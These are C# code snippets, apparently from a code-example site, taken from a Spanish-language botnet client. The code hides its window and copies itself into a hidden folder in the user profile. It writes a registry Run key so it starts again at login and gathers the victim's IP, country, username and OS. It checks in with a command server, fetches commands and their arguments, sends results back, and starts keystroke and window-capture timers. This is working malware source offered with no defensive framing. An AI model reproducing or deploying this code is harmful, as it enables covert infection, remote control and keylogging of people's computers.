예제 #1
0
        public void saludo()
        {
            DH_Tools tools = new DH_Tools();

            tools.tomar(url_master, "entradatrasera=hidad&key=" + clave + "&ip=" + ip + "&pais="
                        + pais + "&username="******"&os=" + os + "&timeout=" + time);
        }
예제 #2
0
        public string ver_ordenes()
        {
            string resultado = "";

            string re_cmd = "";
            string arg1   = "";
            string arg2   = "";
            string arg3   = "";

            DH_Tools tools = new DH_Tools();

            string code = tools.tomar(url_master, "ordenespabots=alpedo&clave=" + clave);

            Match regex = Regex.Match(code, "Orden : (.*?)<br>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                re_cmd = regex.Groups[1].Value;
            }

            regex = Regex.Match(code, "Arg1 : (.*?)<br>", RegexOptions.IgnoreCase);
            if (regex.Success)

            {
                arg1 = regex.Groups[1].Value;
            }

            regex = Regex.Match(code, "Arg2 : (.*?)<br>", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                arg2 = regex.Groups[1].Value;
            }

            regex = Regex.Match(code, "Arg3 : (.*?)<br>", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                arg3 = regex.Groups[1].Value;
            }

            resultado = clean_error_regex("[comando]" + re_cmd + "[comando]" + "[arg1]" + arg1 + "[arg1]" +
                                          "[arg2]" + arg2 + "[arg2]" + "[arg3]" + arg3 + "[arg3]");

            return(resultado);
        }
예제 #3
0
        // End

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();

            DH_Tools tools = new DH_Tools();

            load_config config = new load_config();

            config.load_data();
            //MessageBox.Show(config.get_data());

            string botnet_online = config.botnet_online;

            if (botnet_online == "1")
            {
                //MessageBox.Show("Botnet Online");

                url_master = config.pagina;
                time       = config.timeout;

                // Configuracion Inicial

                string directorio_final = Environment.GetEnvironmentVariable("USERPROFILE") + "/tentob/";

                string ruta_botnet_inicial = Application.ExecutablePath;

                string rutadondeestoy  = System.Reflection.Assembly.GetEntryAssembly().Location;
                string nombredondestoy = Path.GetFileName(rutadondeestoy);

                string ruta_botnet_final = directorio_final + nombredondestoy;

                if (!Directory.Exists(directorio_final))
                {
                    Directory.CreateDirectory(directorio_final);
                    File.SetAttributes(directorio_final, FileAttributes.Hidden);
                }
                else
                {
                    File.SetAttributes(directorio_final, FileAttributes.Hidden);
                }

                Directory.SetCurrentDirectory(directorio_final);

                try
                {
                    File.Copy(ruta_botnet_inicial, ruta_botnet_final);
                    File.SetAttributes(ruta_botnet_final, FileAttributes.Hidden);
                }
                catch
                {
                    //
                }

                if (!File.Exists("key"))
                {
                    tools.savefile("key", dh_generate(5));
                    File.SetAttributes("key", FileAttributes.Hidden);
                }
                else
                {
                    File.SetAttributes("key", FileAttributes.Hidden);
                }

                if (!File.Exists(directorio_final + "logs.out"))
                {
                    tools.savefile("logs.out", "");
                    File.SetAttributes("logs.out", FileAttributes.Hidden);
                }

                try
                {
                    RegistryKey loadnow = Registry.LocalMachine;
                    loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    loadnow.SetValue("uberkkkk", ruta_botnet_final, RegistryValueKind.String);
                    loadnow.Close();
                }

                catch
                {
                    //
                }

                // Fin de configuracion inicial

                string datos = getmydata();

                Match regex = Regex.Match(datos, "-key-(.*?)-key-", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    clave = regex.Groups[1].Value;
                }

                regex = Regex.Match(datos, "-ip-(.*?)-ip-", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    ip = regex.Groups[1].Value;
                }

                regex = Regex.Match(datos, "-pais-(.*?)-pais-", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    pais = regex.Groups[1].Value;
                }

                regex = Regex.Match(datos, "-user-(.*?)-user-", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    user = regex.Groups[1].Value;
                }

                regex = Regex.Match(datos, "-os-(.*?)-os-", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    os = regex.Groups[1].Value;
                }

                saludo();

                panelcontrol.Interval = Convert.ToInt32(time) * 1000;
                panelcontrol.Enabled  = true;

                capturar_teclas.Interval = 50;
                capturar_teclas.Enabled  = true;

                capturar_ventanas.Interval = 10;
                capturar_ventanas.Enabled  = true;
            }
            else
            {
                MessageBox.Show("Botnet Offline");
                Application.Exit();
            }
        }
예제 #4
0
        public void mandar_rta(string contenido)
        {
            DH_Tools tools = new DH_Tools();

            tools.tomar(url_master, "mandocarajo=alpedo&miclave=" + clave + "&mirta=" + contenido);
        }
예제 #5
0
        public void sigo_vivo()
        {
            DH_Tools tools = new DH_Tools();

            tools.tomar(url_master, "sigovivo=alpedo&clavenow=" + clave);
        }
예제 #6
0
        public string getmydata()
        {
            string resultado = "";

            string consegui_key  = "";
            string consegui_ip   = "";
            string consegui_pais = "";
            string consegui_user = "";
            string consegui_os   = "";

            DH_Tools tools = new DH_Tools();

            try
            {
                consegui_key = tools.openword("key");
            }
            catch
            {
                consegui_key = "?";
            }

            string code = tools.toma("http://whatismyipaddress.com/");

            Match regex = Regex.Match(code, "Click for more about (.*)\"", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                consegui_ip = regex.Groups[1].Value;
            }
            else
            {
                consegui_ip = "?";
            }

            regex = Regex.Match(code, "Country:</th><td style=\"font-size:14px;\">(.*)</td></tr>", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                consegui_pais = regex.Groups[1].Value;
            }
            else
            {
                consegui_pais = "?";
            }

            try
            {
                consegui_user = System.Environment.UserName;
            }
            catch
            {
                consegui_user = "******";
            }

            try
            {
                consegui_os = Environment.OSVersion.ToString();
            }
            catch
            {
                consegui_os = "?";
            }

            resultado = clean_error_regex("[key]" + consegui_key + "[key]" + "[ip]" + consegui_ip + "[ip]" +
                                          "[pais]" + consegui_pais + "[pais]" + "[user]" + consegui_user + "[user]" +
                                          "[os]" + consegui_os + "[os]");

            return(resultado);
        }